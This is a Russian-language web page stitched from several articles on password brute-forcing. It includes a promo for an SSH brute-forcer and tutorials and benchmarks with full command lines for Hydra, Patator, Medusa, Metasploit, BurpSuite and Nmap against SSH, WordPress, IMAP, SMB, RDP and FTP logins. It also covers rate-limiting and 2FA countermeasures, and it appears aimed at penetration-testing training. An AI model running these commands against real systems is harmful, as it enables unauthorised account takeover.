Брут ssh туннелей 2020 linux

Заметка Быстрый брутфорс протокола SSH или как использовать устаревшую атаку сейчас

Привет друг, сегодня я бы хотел затронуть достаточно популярную тему, связанную с брутфорсом различных протоколов защиты, шифрования или просто паролей. SSH как таковой является удобным способом работать с серверами или другими сетевыми устройствами, от твоего домашнего компьютера, и до маршрутизатора. Перейдем непосредственно к теме статьи.

Брутфорс SSH пароля имея на руках имя пользователя и список возможных паролей, как такое можно провернуть в 2021 году, когда есть куча инструментов защиты, такие как fail2ban. У меня есть ответ. Да, конечно же сервера крупных компаний имеют огромную защиту от брутфорса aka подбора пароля, но нас интересует больше применение тактик подбора на устройствах с пониженной защитой. Итак, компания EntySec разработала быстрый брутфорсер для таких целей.

Вот этот инструмент с открытым кодом — EntySec Shreder

Скажу немного о преимуществах данного инстпумента:

  1. Очень быстрый подбор пароля, один пароль всего за 0,1 секунды.
  2. Оптимизирован для больших списков паролей, Shreder пробует 1000 паролей за 1 минуту 40 секунд.
  3. Простое использование интерфейса командной строки и API.

Представьте, перед вами стоит задача подобрать пароль к малине aka Raspberry PI, вы знаете что имя пользователя это pi, но вот пароль вы просто забыли. Единственное что вы помните о пароле, то это то, что он был достаточно простым.

Перейдем непосредственно к установке данного инструмента.

pip3 install git+https://github.com/EntySec/Shreder

После завершения процесса установки пакета, стоит проверить что все корректно установилось.

Отлично, теперь возьмем, адрес нашего устройства, имя пользователя SSH и список паролей (более популярный — rockyou.txt).

shreder -u pi -l rockyou.txt

В заключение могу сказать, что не смотря на то, как много средств защиты от брутфорса существует, не все их используют. Правильно кто-то сказал — «Человек и есть уязвимость».

Источник

Brute-force атаки с использованием Kali Linux

Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.

Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, Hydra, Metasploit), а также BurpSuite.

Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.

Brute-force SSH

Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt.

Patator
Для подбора пароля средствами Patator используем команду:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’

где:
ssh_login — необходимый модуль
host – наша цель
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора
password – словарь с паролями
-x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.

Hydra
Для подбора пароля используя Hydra выполним команду:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

где:
-V – показывать пару логин+пароль во время перебора
-f – остановка как только будет найден пароль для указанного логина
-P – путь до словаря с паролями
ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы

Medusa
Для подбора пароля с использованием Medusa выполним команду:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

где:
-h – IP-адрес жертвы
-u – логин
-P – путь к словарю
-M – выбор модуля
-f – остановка после нахождения валидной пары логин/пароль
-v – настройка отображения сообщений на экране во время процесса подбора

Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login и получили ответ:

Для просмотра необходимых параметров, воспользуемся командой show options . Для нас это:
rhosts – IP-адрес жертвы
rport – порт
username – логин SSH
userpass_file – путь до словаря
stop_on_success – остановка, как только найдется пара логин/пароль
threads – количество потоков

Читайте также:  Virtualbox для mac os capitan

Указание необходимых параметров производится через команду «set«.

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22

Указав необходимые параметры набираем команду «run» и ждем.

Противодействие

Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:

-A INPUT -i eth0 -p tcp —dport 22 -m connlimit —connlimit-above 1 —connlimit-mask 32 -j REJECT —reject-with tcp-reset .

Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.

Brute-force WordPress

Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.

Для примера будем подбирать пароль от учетной записи администратора wordpress.

BurpSuite
Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.

Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать.
В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.
Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.

Загружаем необходимый словарь и начинаем атаку.

Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.

Данный метод перебора занимает намного больше времени, чем при использовании Patator, Hydra, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.

Hydra
Попробуем подобрать пароль с помощью Hydra.
Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.
Для запуска используем команду:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m «/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302»

Здесь мы указываем обязательные параметры:
-l – имя пользователя
-P – словарь с паролями
-t – количество потоков
http-post-form – тип формы, у нас POST.
/wp-login.php – это URL страницы с авторизацией
^USER^ — показывает куда подставлять имя пользователя
^PASS^ — показывает куда подставлять пароль из словаря
S=302 – указание на какой ответ опираться Hydra. В нашем случае, ответ 302 при успешной авторизации.

Patator
Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с Hydra:
Запуск производится командой:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body=’log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1′ 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz – модуль для brute-force атаки http
url – адрес страницы с авторизацией
FILE0 — путь до словаря с паролями
body – информация, которая передается в POST запросе при авторизации
-t — количество потоков
-x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос
Как итог – нам удалось подобрать пароль.

Nmap
Утилита Nmap позволяет в том числе производить подбор паролей для веб-форм авторизации, если использовать скрипт http-wordpress-brute с соответствующими аргументами:
—script-args – добавление аргументов
user или userdb – логин или файла с логинами
pass или passdb — указание пароля или словаря
thread – количество потоков
firstonly=true – выводить результат после первого же правильного пароля

nmap 192.168.60.50 —script http-wordpress-brute —script-args ‘user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true’

Противодействие

Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов:
.
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
.

и задействовать ее:
location / <
.
limit_req zone=req_limits burst=10;
limit_req_status 429;
.
>

Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.

Усложнить задачу перебора можно используя следующие методы:
— Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье.
— Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).

Читайте также:  Как настроить сетевой принтер windows 10 через роутер

Заключение

В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям:
— используйте устойчивые к подбору пароли;
— не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон;
— регулярно меняйте пароль;
— на всех аккаунтах применяйте уникальные пароли.

Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие:
— ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими);
— использовать двухфакторную аутентификацию;
— выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).

Источник

Генерация словаря

Crunch

Словарь с пользователями мы взяли небольшой и записали в него 4 пользователя.

Для составления словаря используется Crunch, как встроенное средство. Инструмент гибкий и может составить словарь по определенной маске. Если есть вероятность того, что пользователь может использовать словарный пароль, то лучше воспользоваться уже готовыми решениями, тем более, что, как показывает практика, самый популярный пароль – 123456.

Генерировать словарь будем на 5 символов по маске. Данный метод подходит для случаев, когда мы имеем представление о структуре пароля пользователя.

crunch 5 5 qwe ASD 1234567890 -t @@,%@ -o /root/wordlist.txt

5 – минимальное и максимальное количество символов;
qwe, ASD, 1234567890 – используемые символы;
-t – ключ, после которого указывается маска для составления пароля;
@ – нижний регистр;
, – верхний регистр;
% – цифры.

Сразу отметим, что на первых этапах мы будем для каждого инструмента описывать используемые ключи, но далее те же самые ключи уже не будут рассматриваться подробно, поскольку они крайне похожи друг на друга, а значит, имеют аналогичный синтаксис.

Patator

patator ssh_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’

ssh_login – модуль;
host – наша цель;
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password – словарь с паролями;
-x ignore:mesg=’Authentication failed’ – не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.

Все инструменты мы тестируем с количеством потоков по умолчанию, никаким образом их количество не изменяем.
Patator справился ровно за 7 минут 37 секунд, перебрав 2235 вариантов.

Hydra

hydra -f -L /root/username -P /root/wordlist.txt ssh://192.168.60.50

-f – остановка перебора после успешного подбора пары логин/пароль;
-L/-P – путь до словаря с пользователями/паролями;
ssh://IP-адрес – указание сервиса и IP-адреса жертвы.

Hydra затратила на перебор 9 минут 11 секунд.

Medusa

medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M ssh

-h – IP-адрес целевой машины;
-U/-P – путь к словарям логинов/паролей;
-М – выбор нужного модуля.

Medusa за 25 минут обработала только 715 комбинаций логин/пароль, поэтому данный инструмент не лучший выбор в случае с брутфорсом SSH.

Metasploit

Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login

Задействуем модуль:
use auxiliary/scanner/ssh/ssh_login

Для просмотра необходимых параметров воспользуемся командой «show options». Для нас это:
rhosts – IP-адрес жертвы;
rport – порт;
user_file – путь до словаря с логинами;
pass_file – путь до словаря c паролями;
stop_on_success – остановка, как только найдется пара логин/пароль.

По умолчанию Metasploit использует 1 поток, поэтому и скорость перебора с использованием этого модуля очень низкая. За 25 минут так и не удалось подобрать пароль.

Patator

patator imap_login host=192.168.100.109 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=1

imap_login – используемый модуль;
-x – параметр, который помогает фильтровать ответы от Patator. В данном случае игнорируем ответы с кодом 1.

Параметр х является уникальным для каждого конкретного случая, поэтому рекомендуется сначала запустить инструмент без него и посмотреть какие ответы в основном приходят, чтобы затем их игнорировать.

В итоге Patator смог подобрать пароль за 9 минут 28 секунд, что является практически тем же самым показателем, что и в случае с SSH.

Hydra

hydra -f imap://192.168.60.50 -L /root/username -P /root/wordlist.txt

Hydra справилась за 10 минут 47 секунд, что довольно неплохо.

Medusa

В связи с тем, что на сервере использовался самоподписанный сертификат, Medusa выдавала ошибку, исправить которую настройками инструмента не удалось.

Metasploit

В Metasploit не удалось подобрать подходящий модуль для брутфорса IMAP.

Patator

При использовании Patator появилось большое количество ложных срабатываний.

Hydra

hydra -L /root/username -P /root/wordlist.txt 192.168.60.50 smb

Благодаря своим алгоритмам Hydra справилась с задачей всего за 5 секунд.

Читайте также:  Менеджер файлов для линукс минт

Medusa

medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbnt

Запуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.

Metasploit

С помощью поиска search smb_login находим нужный модуль scanner/smb/smb_login и применяем его.

Необходимо указать параметры:
RHOSTS – IP-адрес жертвы;
USER_FILE – словарь с пользователями;
PASS_FILE – словарь с паролями;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль.

Metasploit справился с задачей за 1 минуту.

Patator

patator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132

К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.

Для начала нам необходимо понять, как происходит процесс аутентификации.
Для этого нужно отправить тестовые запросы аутентификации и уже из поведения веб-приложения можно будет увидеть, что неверный пароль возвращает код ответа 200, а успешная аутентификация — 302. На эту информацию и будем опираться.

Patator

Учитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator:

patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body=’log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1′ 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz – модуль для brute-force атаки HTTP;
url – адрес страницы с аутентификацией;
FILE0 – путь до словаря с паролями;
body – информация, которая передается в POST запросе при аутентификацией;
-x – в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос;
Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.

Hydra

Как мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду:

hydra -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m «/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302»

Здесь мы указываем обязательные параметры:
-f – завершить перебор после получения валидной пары логин/пароль;
-L – словарь с пользователями;
-P – словарь с паролями;
http-post-form – тип формы (в нашем случае POST);
/wp-login.php – URL страницы с аутентификацией;
^USER^ – показывает куда подставлять имя пользователя;
^PASS^ – показывает куда подставлять пароль из словаря;
S=302 – указание на какой ответ опираться Hydra (в нашем случае — ответ 302 при успешной аутентификации).

Успех ожидал нас уже через 3 минуты 15 секунд.

Medusa

medusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:»/wp-login.php» -m FORM-DATA:»post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1″

К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».

Metasploit

С помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:
PASS_FILE – словарь с паролями;
RHOSTS – адрес жертвы;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль;
USER_FILE – словарь с пользователями;
VALIDATE_USERS – отключить проверку существования учетной записи пользователя;
VERBOSE – отключить лишний вывод;
VHOST – доменное имя атакуемого сайта.
Затраченное время — 32 секунды.

Patator

patator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530

В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.

Hydra

hydra -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50

Работая по умолчанию в 16 потоков, Hydra смогла перебрать пароли за 7 минут 55 секунд.

Metasploit, Medusa

В Metasploit используем модуль auxiliary/scanner/ftp/ftp_login

В случае с Medusa запрос выглядит следующим образом:
medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50

Все параметры стандартные, указываем путь до словарей и обязательно ставим завершение перебора после найденной пары логин/пароль.
С этим протоколом, как и c SSH, Metasploit и Medusa плохо справляются при стандартном количестве потоков. Поэтому если есть желание использовать именно эти инструменты, то необходимо вручную увеличивать количество потоков. Но и тут не все так просто. В однопоточном режиме FTP-сервер при использовании этих инструментов, сбросил соединение, чего не наблюдалось при использовании Patator или Hydra. Поэтому есть вероятность, что увеличение количества потоков не изменит ситуацию.

Протестировав разные, но в то же время похожие инструменты на различных сервисах, можно сказать, что у каждого из них есть как достоинства, так и недостатки, а с каким инструментом работать — решать только вам.

Ниже представлена сводная таблица с полученными результатами:

P.S. Потренироваться можно в наших лабораториях lab.pentestit.ru.

Оставить комментарий Отменить ответ

Для отправки комментария вам необходимо авторизоваться.

Источник

Оцените статью